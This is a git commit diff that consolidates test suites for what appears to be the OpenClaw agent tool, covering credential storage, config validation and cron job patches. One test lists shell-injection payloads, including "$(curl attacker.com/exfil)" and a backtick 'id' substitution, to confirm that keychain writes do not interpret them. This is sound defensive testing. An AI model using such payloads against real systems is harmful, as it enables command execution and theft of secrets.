test: dedupe config and utility suites

This commit is contained in:
Peter Steinberger
2026-03-28 00:45:58 +00:00
parent 48eae5f327
commit b4fe0faf1b
18 changed files with 851 additions and 1010 deletions

View File

@@ -6,6 +6,15 @@ import { ensureAuthProfileStore } from "./auth-profiles.js";
import { AUTH_STORE_VERSION, log } from "./auth-profiles/constants.js";
describe("ensureAuthProfileStore", () => {
function withTempAgentDir<T>(prefix: string, run: (agentDir: string) => T): T {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
try {
return run(agentDir);
} finally {
fs.rmSync(agentDir, { recursive: true, force: true });
}
}
it("migrates legacy auth.json and deletes it (PR #368)", () => {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-profiles-"));
try {
@@ -123,67 +132,65 @@ describe("ensureAuthProfileStore", () => {
}
});
it("normalizes auth-profiles credential aliases with canonical-field precedence", () => {
const cases = [
{
name: "mode/apiKey aliases map to type/key",
profile: {
provider: "anthropic",
mode: "api_key",
apiKey: "sk-ant-alias", // pragma: allowlist secret
},
expected: {
type: "api_key",
key: "sk-ant-alias",
},
it.each([
{
name: "mode/apiKey aliases map to type/key",
profile: {
provider: "anthropic",
mode: "api_key",
apiKey: "sk-ant-alias", // pragma: allowlist secret
},
{
name: "canonical type overrides conflicting mode alias",
profile: {
provider: "anthropic",
type: "api_key",
mode: "token",
key: "sk-ant-canonical",
},
expected: {
type: "api_key",
key: "sk-ant-canonical",
},
expected: {
type: "api_key",
key: "sk-ant-alias",
},
{
name: "canonical key overrides conflicting apiKey alias",
profile: {
provider: "anthropic",
type: "api_key",
key: "sk-ant-canonical",
apiKey: "sk-ant-alias", // pragma: allowlist secret
},
expected: {
type: "api_key",
key: "sk-ant-canonical",
},
},
{
name: "canonical type overrides conflicting mode alias",
profile: {
provider: "anthropic",
type: "api_key",
mode: "token",
key: "sk-ant-canonical",
},
{
name: "canonical profile shape remains unchanged",
profile: {
provider: "anthropic",
type: "api_key",
key: "sk-ant-direct",
},
expected: {
type: "api_key",
key: "sk-ant-direct",
},
expected: {
type: "api_key",
key: "sk-ant-canonical",
},
] as const;
for (const testCase of cases) {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-alias-"));
try {
},
{
name: "canonical key overrides conflicting apiKey alias",
profile: {
provider: "anthropic",
type: "api_key",
key: "sk-ant-canonical",
apiKey: "sk-ant-alias", // pragma: allowlist secret
},
expected: {
type: "api_key",
key: "sk-ant-canonical",
},
},
{
name: "canonical profile shape remains unchanged",
profile: {
provider: "anthropic",
type: "api_key",
key: "sk-ant-direct",
},
expected: {
type: "api_key",
key: "sk-ant-direct",
},
},
] as const)(
"normalizes auth-profiles credential aliases with canonical-field precedence: $name",
({ name, profile, expected }) => {
withTempAgentDir("openclaw-auth-alias-", (agentDir) => {
const storeData = {
version: AUTH_STORE_VERSION,
profiles: {
"anthropic:work": testCase.profile,
"anthropic:work": profile,
},
};
fs.writeFileSync(
@@ -193,16 +200,13 @@ describe("ensureAuthProfileStore", () => {
);
const store = ensureAuthProfileStore(agentDir);
expect(store.profiles["anthropic:work"], testCase.name).toMatchObject(testCase.expected);
} finally {
fs.rmSync(agentDir, { recursive: true, force: true });
}
}
});
expect(store.profiles["anthropic:work"], name).toMatchObject(expected);
});
},
);
it("normalizes mode/apiKey aliases while migrating legacy auth.json", () => {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-legacy-alias-"));
try {
withTempAgentDir("openclaw-auth-legacy-alias-", (agentDir) => {
fs.writeFileSync(
path.join(agentDir, "auth.json"),
`${JSON.stringify(
@@ -225,53 +229,51 @@ describe("ensureAuthProfileStore", () => {
provider: "anthropic",
key: "sk-ant-legacy",
});
} finally {
fs.rmSync(agentDir, { recursive: true, force: true });
}
});
});
it("logs one warning with aggregated reasons for rejected auth-profiles entries", () => {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-invalid-"));
const warnSpy = vi.spyOn(log, "warn").mockImplementation(() => undefined);
try {
const invalidStore = {
version: AUTH_STORE_VERSION,
profiles: {
"anthropic:missing-type": {
provider: "anthropic",
withTempAgentDir("openclaw-auth-invalid-", (agentDir) => {
const invalidStore = {
version: AUTH_STORE_VERSION,
profiles: {
"anthropic:missing-type": {
provider: "anthropic",
},
"openai:missing-provider": {
type: "api_key",
key: "sk-openai",
},
"qwen:not-object": "broken",
},
"openai:missing-provider": {
type: "api_key",
key: "sk-openai",
},
"qwen:not-object": "broken",
},
};
fs.writeFileSync(
path.join(agentDir, "auth-profiles.json"),
`${JSON.stringify(invalidStore, null, 2)}\n`,
"utf8",
);
};
fs.writeFileSync(
path.join(agentDir, "auth-profiles.json"),
`${JSON.stringify(invalidStore, null, 2)}\n`,
"utf8",
);
const store = ensureAuthProfileStore(agentDir);
expect(store.profiles).toEqual({});
expect(warnSpy).toHaveBeenCalledTimes(1);
expect(warnSpy).toHaveBeenCalledWith(
"ignored invalid auth profile entries during store load",
{
source: "auth-profiles.json",
dropped: 3,
reasons: {
invalid_type: 1,
missing_provider: 1,
non_object: 1,
const store = ensureAuthProfileStore(agentDir);
expect(store.profiles).toEqual({});
expect(warnSpy).toHaveBeenCalledTimes(1);
expect(warnSpy).toHaveBeenCalledWith(
"ignored invalid auth profile entries during store load",
{
source: "auth-profiles.json",
dropped: 3,
reasons: {
invalid_type: 1,
missing_provider: 1,
non_object: 1,
},
keys: ["anthropic:missing-type", "openai:missing-provider", "qwen:not-object"],
},
keys: ["anthropic:missing-type", "openai:missing-provider", "qwen:not-object"],
},
);
);
});
} finally {
warnSpy.mockRestore();
fs.rmSync(agentDir, { recursive: true, force: true });
}
});
});

View File

@@ -53,6 +53,18 @@ function createJwtWithExp(expSeconds: number): string {
return `${encode({ alg: "RS256", typ: "JWT" })}.${encode({ exp: expSeconds })}.signature`;
}
function mockClaudeCliCredentialRead() {
execSyncMock.mockImplementation(() =>
JSON.stringify({
claudeAiOauth: {
accessToken: `token-${Date.now()}`,
refreshToken: "cached-refresh",
expiresAt: Date.now() + 60_000,
},
}),
);
}
describe("cli credentials", () => {
beforeAll(async () => {
({
@@ -98,28 +110,27 @@ describe("cli credentials", () => {
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
});
it("prevents shell injection via untrusted token payload values", async () => {
const cases = [
{
access: "x'$(curl attacker.com/exfil)'y",
refresh: "safe-refresh",
expectedPayload: "x'$(curl attacker.com/exfil)'y",
},
{
access: "safe-access",
refresh: "token`id`value",
expectedPayload: "token`id`value",
},
] as const;
for (const testCase of cases) {
it.each([
{
access: "x'$(curl attacker.com/exfil)'y",
refresh: "safe-refresh",
expectedPayload: "x'$(curl attacker.com/exfil)'y",
},
{
access: "safe-access",
refresh: "token`id`value",
expectedPayload: "token`id`value",
},
] as const)(
"prevents shell injection via untrusted token payload value $expectedPayload",
async ({ access, refresh, expectedPayload }) => {
execFileSyncMock.mockClear();
mockExistingClaudeKeychainItem();
const ok = writeClaudeCliKeychainCredentials(
{
access: testCase.access,
refresh: testCase.refresh,
access,
refresh,
expires: Date.now() + 60_000,
},
{ execFileSync: execFileSyncMock },
@@ -132,10 +143,10 @@ describe("cli credentials", () => {
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];
expect(passwordValue).toContain(testCase.expectedPayload);
expect(passwordValue).toContain(expectedPayload);
expect(addCall?.[0]).toBe("security");
}
});
},
);
it("falls back to the file store when the keychain update fails", async () => {
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-"));
@@ -189,50 +200,43 @@ describe("cli credentials", () => {
expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number");
});
it("caches Claude Code CLI credentials within the TTL window", async () => {
execSyncMock.mockImplementation(() =>
JSON.stringify({
claudeAiOauth: {
accessToken: "cached-access",
refreshToken: "cached-refresh",
expiresAt: Date.now() + 60_000,
},
}),
);
it.each([
{
name: "caches Claude Code CLI credentials within the TTL window",
allowKeychainPromptSecondRead: false,
advanceMs: 0,
expectedCalls: 1,
expectSameObject: true,
},
{
name: "refreshes Claude Code CLI credentials after the TTL window",
allowKeychainPromptSecondRead: true,
advanceMs: CLI_CREDENTIALS_CACHE_TTL_MS + 1,
expectedCalls: 2,
expectSameObject: false,
},
] as const)(
"$name",
async ({ allowKeychainPromptSecondRead, advanceMs, expectedCalls, expectSameObject }) => {
mockClaudeCliCredentialRead();
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
const first = await readCachedClaudeCliCredentials(true);
if (advanceMs > 0) {
vi.advanceTimersByTime(advanceMs);
}
const second = await readCachedClaudeCliCredentials(allowKeychainPromptSecondRead);
const first = await readCachedClaudeCliCredentials(true);
const second = await readCachedClaudeCliCredentials(false);
expect(first).toBeTruthy();
expect(second).toEqual(first);
expect(execSyncMock).toHaveBeenCalledTimes(1);
});
it("refreshes Claude Code CLI credentials after the TTL window", async () => {
execSyncMock.mockImplementation(() =>
JSON.stringify({
claudeAiOauth: {
accessToken: `token-${Date.now()}`,
refreshToken: "refresh",
expiresAt: Date.now() + 60_000,
},
}),
);
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
const first = await readCachedClaudeCliCredentials(true);
vi.advanceTimersByTime(CLI_CREDENTIALS_CACHE_TTL_MS + 1);
const second = await readCachedClaudeCliCredentials(true);
expect(first).toBeTruthy();
expect(second).toBeTruthy();
expect(execSyncMock).toHaveBeenCalledTimes(2);
});
expect(first).toBeTruthy();
expect(second).toBeTruthy();
if (expectSameObject) {
expect(second).toEqual(first);
} else {
expect(second).not.toEqual(first);
}
expect(execSyncMock).toHaveBeenCalledTimes(expectedCalls);
},
);
it("reads Codex credentials from keychain when available", async () => {
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));

View File

@@ -4,6 +4,17 @@ import path from "node:path";
import { describe, expect, it } from "vitest";
import { parseBatchSource } from "./config-set-input.js";
function withBatchFile<T>(prefix: string, contents: string, run: (batchPath: string) => T): T {
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
const batchPath = path.join(tempDir, "batch.json");
fs.writeFileSync(batchPath, contents, "utf8");
try {
return run(batchPath);
} finally {
fs.rmSync(tempDir, { recursive: true, force: true });
}
}
describe("config set input parsing", () => {
it("returns null when no batch options are provided", () => {
expect(parseBatchSource({})).toBeNull();
@@ -45,69 +56,52 @@ describe("config set input parsing", () => {
]);
});
it("rejects malformed --batch-json payloads", () => {
expect(() =>
parseBatchSource({
batchJson: "{",
}),
).toThrow("Failed to parse --batch-json:");
});
it("rejects --batch-json payloads that are not arrays", () => {
expect(() =>
parseBatchSource({
batchJson: '{"path":"gateway.auth.mode","value":"token"}',
}),
).toThrow("--batch-json must be a JSON array.");
});
it("rejects batch entries without path", () => {
expect(() =>
parseBatchSource({
batchJson: '[{"value":"token"}]',
}),
).toThrow("--batch-json[0].path is required.");
});
it("rejects batch entries that do not contain exactly one mode key", () => {
expect(() =>
parseBatchSource({
batchJson: '[{"path":"gateway.auth.mode","value":"token","provider":{"source":"env"}}]',
}),
).toThrow("--batch-json[0] must include exactly one of: value, ref, provider.");
it.each([
{ name: "malformed payload", batchJson: "{", message: "Failed to parse --batch-json:" },
{
name: "non-array payload",
batchJson: '{"path":"gateway.auth.mode","value":"token"}',
message: "--batch-json must be a JSON array.",
},
{
name: "entry without path",
batchJson: '[{"value":"token"}]',
message: "--batch-json[0].path is required.",
},
{
name: "entry with multiple mode keys",
batchJson: '[{"path":"gateway.auth.mode","value":"token","provider":{"source":"env"}}]',
message: "--batch-json[0] must include exactly one of: value, ref, provider.",
},
] as const)("rejects $name", ({ batchJson, message }) => {
expect(() => parseBatchSource({ batchJson })).toThrow(message);
});
it("parses valid --batch-file payloads", () => {
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-config-set-input-"));
const batchPath = path.join(tempDir, "batch.json");
fs.writeFileSync(batchPath, '[{"path":"gateway.auth.mode","value":"token"}]', "utf8");
try {
const parsed = parseBatchSource({
batchFile: batchPath,
});
expect(parsed).toEqual([
{
path: "gateway.auth.mode",
value: "token",
},
]);
} finally {
fs.rmSync(tempDir, { recursive: true, force: true });
}
withBatchFile(
"openclaw-config-set-input-",
'[{"path":"gateway.auth.mode","value":"token"}]',
(batchPath) => {
const parsed = parseBatchSource({
batchFile: batchPath,
});
expect(parsed).toEqual([
{
path: "gateway.auth.mode",
value: "token",
},
]);
},
);
});
it("rejects malformed --batch-file payloads", () => {
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-config-set-input-invalid-"));
const batchPath = path.join(tempDir, "batch.json");
fs.writeFileSync(batchPath, "{}", "utf8");
try {
withBatchFile("openclaw-config-set-input-invalid-", "{}", (batchPath) => {
expect(() =>
parseBatchSource({
batchFile: batchPath,
}),
).toThrow("--batch-file must be a JSON array.");
} finally {
fs.rmSync(tempDir, { recursive: true, force: true });
}
});
});
});

View File

@@ -2,9 +2,11 @@ import { describe, expect, it } from "vitest";
import { parseCliLogLevelOption } from "./log-level-option.js";
describe("parseCliLogLevelOption", () => {
it("accepts allowed log levels", () => {
expect(parseCliLogLevelOption("debug")).toBe("debug");
expect(parseCliLogLevelOption(" trace ")).toBe("trace");
it.each([
["debug", "debug"],
[" trace ", "trace"],
] as const)("accepts allowed log level %p", (input, expected) => {
expect(parseCliLogLevelOption(input)).toBe(expected);
});
it("rejects invalid log levels", () => {

View File

@@ -185,51 +185,44 @@ describe("nodes camera helpers", () => {
).rejects.toThrow(/must match node host/i);
});
it("rejects invalid url payload responses", async () => {
const cases: Array<{
name: string;
url: string;
response?: Response;
expectedMessage: RegExp;
}> = [
{
name: "non-https url",
url: "http://198.51.100.42/x.bin",
expectedMessage: /only https/i,
},
{
name: "oversized content-length",
url: "https://198.51.100.42/huge.bin",
response: new Response("tiny", {
status: 200,
headers: { "content-length": String(999_999_999) },
}),
expectedMessage: /exceeds max/i,
},
{
name: "non-ok status",
url: "https://198.51.100.42/down.bin",
response: new Response("down", { status: 503, statusText: "Service Unavailable" }),
expectedMessage: /503/i,
},
{
name: "empty response body",
url: "https://198.51.100.42/empty.bin",
response: new Response(null, { status: 200 }),
expectedMessage: /empty response body/i,
},
];
for (const testCase of cases) {
if (testCase.response) {
stubFetchResponse(testCase.response);
it.each([
{
name: "non-https url",
url: "http://198.51.100.42/x.bin",
expectedMessage: /only https/i,
},
{
name: "oversized content-length",
url: "https://198.51.100.42/huge.bin",
response: new Response("tiny", {
status: 200,
headers: { "content-length": String(999_999_999) },
}),
expectedMessage: /exceeds max/i,
},
{
name: "non-ok status",
url: "https://198.51.100.42/down.bin",
response: new Response("down", { status: 503, statusText: "Service Unavailable" }),
expectedMessage: /503/i,
},
{
name: "empty response body",
url: "https://198.51.100.42/empty.bin",
response: new Response(null, { status: 200 }),
expectedMessage: /empty response body/i,
},
] as const)(
"rejects invalid url payload response: $name",
async ({ url, response, expectedMessage }) => {
if (response) {
stubFetchResponse(response);
}
await expect(
writeUrlToFile("/tmp/ignored", testCase.url, { expectedHost: "198.51.100.42" }),
testCase.name,
).rejects.toThrow(testCase.expectedMessage);
}
});
writeUrlToFile("/tmp/ignored", url, { expectedHost: "198.51.100.42" }),
).rejects.toThrow(expectedMessage);
},
);
it("removes partially written file when url stream fails", async () => {
const stream = new ReadableStream<Uint8Array>({

View File

@@ -1,47 +1,43 @@
import { describe, expect, it } from "vitest";
import { validateConfigObject } from "./config.js";
function expectChannelAllowlistIssue(
result: ReturnType<typeof validateConfigObject>,
path: string | readonly string[],
) {
expect(result.ok).toBe(false);
if (!result.ok) {
const pathParts = Array.isArray(path) ? path : [path];
expect(
result.issues.some((issue) => pathParts.every((part) => issue.path.includes(part))),
).toBe(true);
}
}
describe('dmPolicy="allowlist" requires non-empty effective allowFrom', () => {
it('rejects telegram dmPolicy="allowlist" without allowFrom', () => {
const res = validateConfigObject({
channels: { telegram: { dmPolicy: "allowlist", botToken: "fake" } },
});
expect(res.ok).toBe(false);
if (!res.ok) {
expect(res.issues.some((i) => i.path.includes("channels.telegram.allowFrom"))).toBe(true);
}
});
it('rejects signal dmPolicy="allowlist" without allowFrom', () => {
const res = validateConfigObject({
channels: { signal: { dmPolicy: "allowlist" } },
});
expect(res.ok).toBe(false);
if (!res.ok) {
expect(res.issues.some((i) => i.path.includes("channels.signal.allowFrom"))).toBe(true);
}
});
it('rejects discord dmPolicy="allowlist" without allowFrom', () => {
const res = validateConfigObject({
channels: { discord: { dmPolicy: "allowlist" } },
});
expect(res.ok).toBe(false);
if (!res.ok) {
expect(
res.issues.some((i) => i.path.includes("channels.discord") && i.path.includes("allowFrom")),
).toBe(true);
}
});
it('rejects whatsapp dmPolicy="allowlist" without allowFrom', () => {
const res = validateConfigObject({
channels: { whatsapp: { dmPolicy: "allowlist" } },
});
expect(res.ok).toBe(false);
if (!res.ok) {
expect(res.issues.some((i) => i.path.includes("channels.whatsapp.allowFrom"))).toBe(true);
}
it.each([
{
name: "telegram",
config: { telegram: { dmPolicy: "allowlist", botToken: "fake" } },
issuePath: "channels.telegram.allowFrom",
},
{
name: "signal",
config: { signal: { dmPolicy: "allowlist" } },
issuePath: "channels.signal.allowFrom",
},
{
name: "discord",
config: { discord: { dmPolicy: "allowlist" } },
issuePath: ["channels.discord", "allowFrom"],
},
{
name: "whatsapp",
config: { whatsapp: { dmPolicy: "allowlist" } },
issuePath: "channels.whatsapp.allowFrom",
},
] as const)('rejects $name dmPolicy="allowlist" without allowFrom', ({ config, issuePath }) => {
expectChannelAllowlistIssue(validateConfigObject({ channels: config }), issuePath);
});
it('accepts dmPolicy="pairing" without allowFrom', () => {
@@ -53,51 +49,31 @@ describe('dmPolicy="allowlist" requires non-empty effective allowFrom', () => {
});
describe('account dmPolicy="allowlist" uses inherited allowFrom', () => {
it("accepts telegram account allowlist when parent allowFrom exists", () => {
const res = validateConfigObject({
channels: {
it.each([
{
name: "telegram",
config: {
telegram: {
allowFrom: ["12345"],
accounts: { bot1: { dmPolicy: "allowlist", botToken: "fake" } },
},
},
});
expect(res.ok).toBe(true);
});
it("rejects telegram account allowlist when neither account nor parent has allowFrom", () => {
const res = validateConfigObject({
channels: { telegram: { accounts: { bot1: { dmPolicy: "allowlist", botToken: "fake" } } } },
});
expect(res.ok).toBe(false);
if (!res.ok) {
expect(
res.issues.some((i) => i.path.includes("channels.telegram.accounts.bot1.allowFrom")),
).toBe(true);
}
});
it("accepts signal account allowlist when parent allowFrom exists", () => {
const res = validateConfigObject({
channels: {
},
{
name: "signal",
config: {
signal: { allowFrom: ["+15550001111"], accounts: { work: { dmPolicy: "allowlist" } } },
},
});
expect(res.ok).toBe(true);
});
it("accepts discord account allowlist when parent allowFrom exists", () => {
const res = validateConfigObject({
channels: {
},
{
name: "discord",
config: {
discord: { allowFrom: ["123456789"], accounts: { work: { dmPolicy: "allowlist" } } },
},
});
expect(res.ok).toBe(true);
});
it("accepts slack account allowlist when parent allowFrom exists", () => {
const res = validateConfigObject({
channels: {
},
{
name: "slack",
config: {
slack: {
allowFrom: ["U123"],
botToken: "xoxb-top",
@@ -107,41 +83,43 @@ describe('account dmPolicy="allowlist" uses inherited allowFrom', () => {
},
},
},
});
expect(res.ok).toBe(true);
});
it("accepts whatsapp account allowlist when parent allowFrom exists", () => {
const res = validateConfigObject({
channels: {
},
{
name: "whatsapp",
config: {
whatsapp: { allowFrom: ["+15550001111"], accounts: { work: { dmPolicy: "allowlist" } } },
},
});
expect(res.ok).toBe(true);
});
it("accepts imessage account allowlist when parent allowFrom exists", () => {
const res = validateConfigObject({
channels: {
},
{
name: "imessage",
config: {
imessage: { allowFrom: ["alice"], accounts: { work: { dmPolicy: "allowlist" } } },
},
});
expect(res.ok).toBe(true);
});
it("accepts irc account allowlist when parent allowFrom exists", () => {
const res = validateConfigObject({
channels: { irc: { allowFrom: ["nick"], accounts: { work: { dmPolicy: "allowlist" } } } },
});
expect(res.ok).toBe(true);
});
it("accepts bluebubbles account allowlist when parent allowFrom exists", () => {
const res = validateConfigObject({
channels: {
},
{
name: "irc",
config: {
irc: { allowFrom: ["nick"], accounts: { work: { dmPolicy: "allowlist" } } },
},
},
{
name: "bluebubbles",
config: {
bluebubbles: { allowFrom: ["sender"], accounts: { work: { dmPolicy: "allowlist" } } },
},
});
expect(res.ok).toBe(true);
},
] as const)("accepts $name account allowlist when parent allowFrom exists", ({ config }) => {
expect(validateConfigObject({ channels: config }).ok).toBe(true);
});
it("rejects telegram account allowlist when neither account nor parent has allowFrom", () => {
expectChannelAllowlistIssue(
validateConfigObject({
channels: {
telegram: { accounts: { bot1: { dmPolicy: "allowlist", botToken: "fake" } } },
},
}),
"channels.telegram.accounts.bot1.allowFrom",
);
});
});

View File

@@ -2,72 +2,19 @@ import { describe, expect, it } from "vitest";
import { validateConfigObject } from "./config.js";
describe("config discord presence", () => {
it("accepts status-only presence", () => {
const res = validateConfigObject({
channels: {
discord: {
status: "idle",
},
},
});
expect(res.ok).toBe(true);
});
it("accepts custom activity when type is omitted", () => {
const res = validateConfigObject({
channels: {
discord: {
activity: "Focus time",
},
},
});
expect(res.ok).toBe(true);
});
it("accepts custom activity type", () => {
const res = validateConfigObject({
channels: {
discord: {
activity: "Chilling",
activityType: 4,
},
},
});
expect(res.ok).toBe(true);
});
it("rejects streaming activity without url", () => {
const res = validateConfigObject({
channels: {
discord: {
activity: "Live",
activityType: 1,
},
},
});
expect(res.ok).toBe(false);
});
it("rejects activityUrl without streaming type", () => {
const res = validateConfigObject({
channels: {
discord: {
activity: "Live",
activityUrl: "https://twitch.tv/openclaw",
},
},
});
expect(res.ok).toBe(false);
});
it("accepts auto presence config", () => {
const res = validateConfigObject({
channels: {
it.each([
{ name: "status-only presence", config: { discord: { status: "idle" } } },
{
name: "custom activity when type is omitted",
config: { discord: { activity: "Focus time" } },
},
{
name: "custom activity type",
config: { discord: { activity: "Chilling", activityType: 4 } },
},
{
name: "auto presence config",
config: {
discord: {
autoPresence: {
enabled: true,
@@ -77,14 +24,23 @@ describe("config discord presence", () => {
},
},
},
});
expect(res.ok).toBe(true);
},
] as const)("accepts $name", ({ config }) => {
expect(validateConfigObject({ channels: config }).ok).toBe(true);
});
it("rejects auto presence min update interval above check interval", () => {
const res = validateConfigObject({
channels: {
it.each([
{
name: "streaming activity without url",
config: { discord: { activity: "Live", activityType: 1 } },
},
{
name: "activityUrl without streaming type",
config: { discord: { activity: "Live", activityUrl: "https://twitch.tv/openclaw" } },
},
{
name: "auto presence min update interval above check interval",
config: {
discord: {
autoPresence: {
enabled: true,
@@ -93,8 +49,8 @@ describe("config discord presence", () => {
},
},
},
});
expect(res.ok).toBe(false);
},
] as const)("rejects $name", ({ config }) => {
expect(validateConfigObject({ channels: config }).ok).toBe(false);
});
});

View File

@@ -2,28 +2,61 @@ import { describe, expect, it } from "vitest";
import { validateConfigObject } from "./config.js";
describe("Telegram webhook config", () => {
it("accepts webhookUrl when webhookSecret is configured", () => {
const res = validateConfigObject({
channels: {
it.each([
{
name: "webhookUrl when webhookSecret is configured",
config: {
telegram: {
webhookUrl: "https://example.com/telegram-webhook",
webhookSecret: "secret",
},
},
});
expect(res.ok).toBe(true);
});
it("accepts webhookUrl when webhookSecret is configured as SecretRef", () => {
const res = validateConfigObject({
channels: {
},
{
name: "webhookUrl when webhookSecret is configured as SecretRef",
config: {
telegram: {
webhookUrl: "https://example.com/telegram-webhook",
webhookSecret: { source: "env", provider: "default", id: "TELEGRAM_WEBHOOK_SECRET" },
webhookSecret: {
source: "env",
provider: "default",
id: "TELEGRAM_WEBHOOK_SECRET",
},
},
},
});
expect(res.ok).toBe(true);
},
{
name: "account webhookUrl when base webhookSecret is configured",
config: {
telegram: {
webhookSecret: "secret",
accounts: {
ops: {
webhookUrl: "https://example.com/telegram-webhook",
},
},
},
},
},
{
name: "account webhookUrl when account webhookSecret is configured as SecretRef",
config: {
telegram: {
accounts: {
ops: {
webhookUrl: "https://example.com/telegram-webhook",
webhookSecret: {
source: "env",
provider: "default",
id: "TELEGRAM_OPS_WEBHOOK_SECRET",
},
},
},
},
},
},
] as const)("accepts $name", ({ config }) => {
expect(validateConfigObject({ channels: config }).ok).toBe(true);
});
it("rejects webhookUrl without webhookSecret", () => {
@@ -40,42 +73,6 @@ describe("Telegram webhook config", () => {
}
});
it("accepts account webhookUrl when base webhookSecret is configured", () => {
const res = validateConfigObject({
channels: {
telegram: {
webhookSecret: "secret",
accounts: {
ops: {
webhookUrl: "https://example.com/telegram-webhook",
},
},
},
},
});
expect(res.ok).toBe(true);
});
it("accepts account webhookUrl when account webhookSecret is configured as SecretRef", () => {
const res = validateConfigObject({
channels: {
telegram: {
accounts: {
ops: {
webhookUrl: "https://example.com/telegram-webhook",
webhookSecret: {
source: "env",
provider: "default",
id: "TELEGRAM_OPS_WEBHOOK_SECRET",
},
},
},
},
},
});
expect(res.ok).toBe(true);
});
it("rejects account webhookUrl without webhookSecret", () => {
const res = validateConfigObject({
channels: {

View File

@@ -214,30 +214,26 @@ describe("applyJobPatch", () => {
}
});
it("rejects webhook delivery without a valid http(s) target URL", () => {
it.each([
{ name: "no delivery update", patch: { enabled: true } satisfies CronJobPatch },
{
name: "blank webhook target",
patch: { delivery: { mode: "webhook", to: "" } } satisfies CronJobPatch,
},
{
name: "non-http protocol",
patch: {
delivery: { mode: "webhook", to: "ftp://example.invalid" },
} satisfies CronJobPatch,
},
{
name: "invalid URL",
patch: { delivery: { mode: "webhook", to: "not-a-url" } } satisfies CronJobPatch,
},
] as const)("rejects invalid webhook delivery target URL: $name", ({ patch }) => {
const expectedError = "cron webhook delivery requires delivery.to to be a valid http(s) URL";
const cases = [
{ name: "no delivery update", patch: { enabled: true } satisfies CronJobPatch },
{
name: "blank webhook target",
patch: { delivery: { mode: "webhook", to: "" } } satisfies CronJobPatch,
},
{
name: "non-http protocol",
patch: {
delivery: { mode: "webhook", to: "ftp://example.invalid" },
} satisfies CronJobPatch,
},
{
name: "invalid URL",
patch: { delivery: { mode: "webhook", to: "not-a-url" } } satisfies CronJobPatch,
},
] as const;
for (const testCase of cases) {
const job = createMainSystemEventJob("job-webhook-invalid", { mode: "webhook" });
expect(() => applyJobPatch(job, testCase.patch), testCase.name).toThrow(expectedError);
}
const job = createMainSystemEventJob("job-webhook-invalid", { mode: "webhook" });
expect(() => applyJobPatch(job, patch)).toThrow(expectedError);
});
it("trims webhook delivery target URLs", () => {
@@ -309,70 +305,19 @@ describe("applyJobPatch", () => {
);
});
it("accepts Telegram delivery with t.me URL", () => {
const job = createIsolatedAgentTurnJob("job-telegram-tme", {
mode: "announce",
channel: "telegram",
to: "https://t.me/mychannel",
});
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
});
it("accepts Telegram delivery with t.me URL (no https)", () => {
const job = createIsolatedAgentTurnJob("job-telegram-tme-no-https", {
mode: "announce",
channel: "telegram",
to: "t.me/mychannel",
});
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
});
it("accepts Telegram delivery with valid target (plain chat id)", () => {
it.each([
{ name: "t.me URL", to: "https://t.me/mychannel" },
{ name: "t.me URL (no https)", to: "t.me/mychannel" },
{ name: "valid target (plain chat id)", to: "-1001234567890" },
{ name: "valid target (colon delimiter)", to: "-1001234567890:123" },
{ name: "valid target (topic marker)", to: "-1001234567890:topic:456" },
{ name: "@username", to: "@mybot" },
{ name: "without target", to: undefined },
] as const)("accepts Telegram delivery with $name", ({ to }) => {
const job = createIsolatedAgentTurnJob("job-telegram-valid", {
mode: "announce",
channel: "telegram",
to: "-1001234567890",
});
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
});
it("accepts Telegram delivery with valid target (colon delimiter)", () => {
const job = createIsolatedAgentTurnJob("job-telegram-valid-colon", {
mode: "announce",
channel: "telegram",
to: "-1001234567890:123",
});
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
});
it("accepts Telegram delivery with valid target (topic marker)", () => {
const job = createIsolatedAgentTurnJob("job-telegram-valid-topic", {
mode: "announce",
channel: "telegram",
to: "-1001234567890:topic:456",
});
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
});
it("accepts Telegram delivery without target", () => {
const job = createIsolatedAgentTurnJob("job-telegram-no-target", {
mode: "announce",
channel: "telegram",
});
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
});
it("accepts Telegram delivery with @username", () => {
const job = createIsolatedAgentTurnJob("job-telegram-username", {
mode: "announce",
channel: "telegram",
to: "@mybot",
...(to ? { to } : {}),
});
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
@@ -401,27 +346,21 @@ describe("createJob rejects sessionTarget main for non-default agents", () => {
...(agentId !== undefined ? { agentId } : {}),
});
it("allows creating a main-session job for the default agent", () => {
const state = createMockState(now, { defaultAgentId: "main" });
expect(() => createJob(state, mainJobInput())).not.toThrow();
expect(() => createJob(state, mainJobInput("main"))).not.toThrow();
it.each([
{ name: "default agent", defaultAgentId: "main", agentId: undefined },
{ name: "explicit default agent", defaultAgentId: "main", agentId: "main" },
{ name: "case-insensitive defaultAgentId match", defaultAgentId: "Main", agentId: "MAIN" },
] as const)("allows creating a main-session job for $name", ({ defaultAgentId, agentId }) => {
const state = createMockState(now, { defaultAgentId });
expect(() => createJob(state, mainJobInput(agentId))).not.toThrow();
});
it("allows creating a main-session job when defaultAgentId matches (case-insensitive)", () => {
const state = createMockState(now, { defaultAgentId: "Main" });
expect(() => createJob(state, mainJobInput("MAIN"))).not.toThrow();
});
it("rejects creating a main-session job for a non-default agentId", () => {
const state = createMockState(now, { defaultAgentId: "main" });
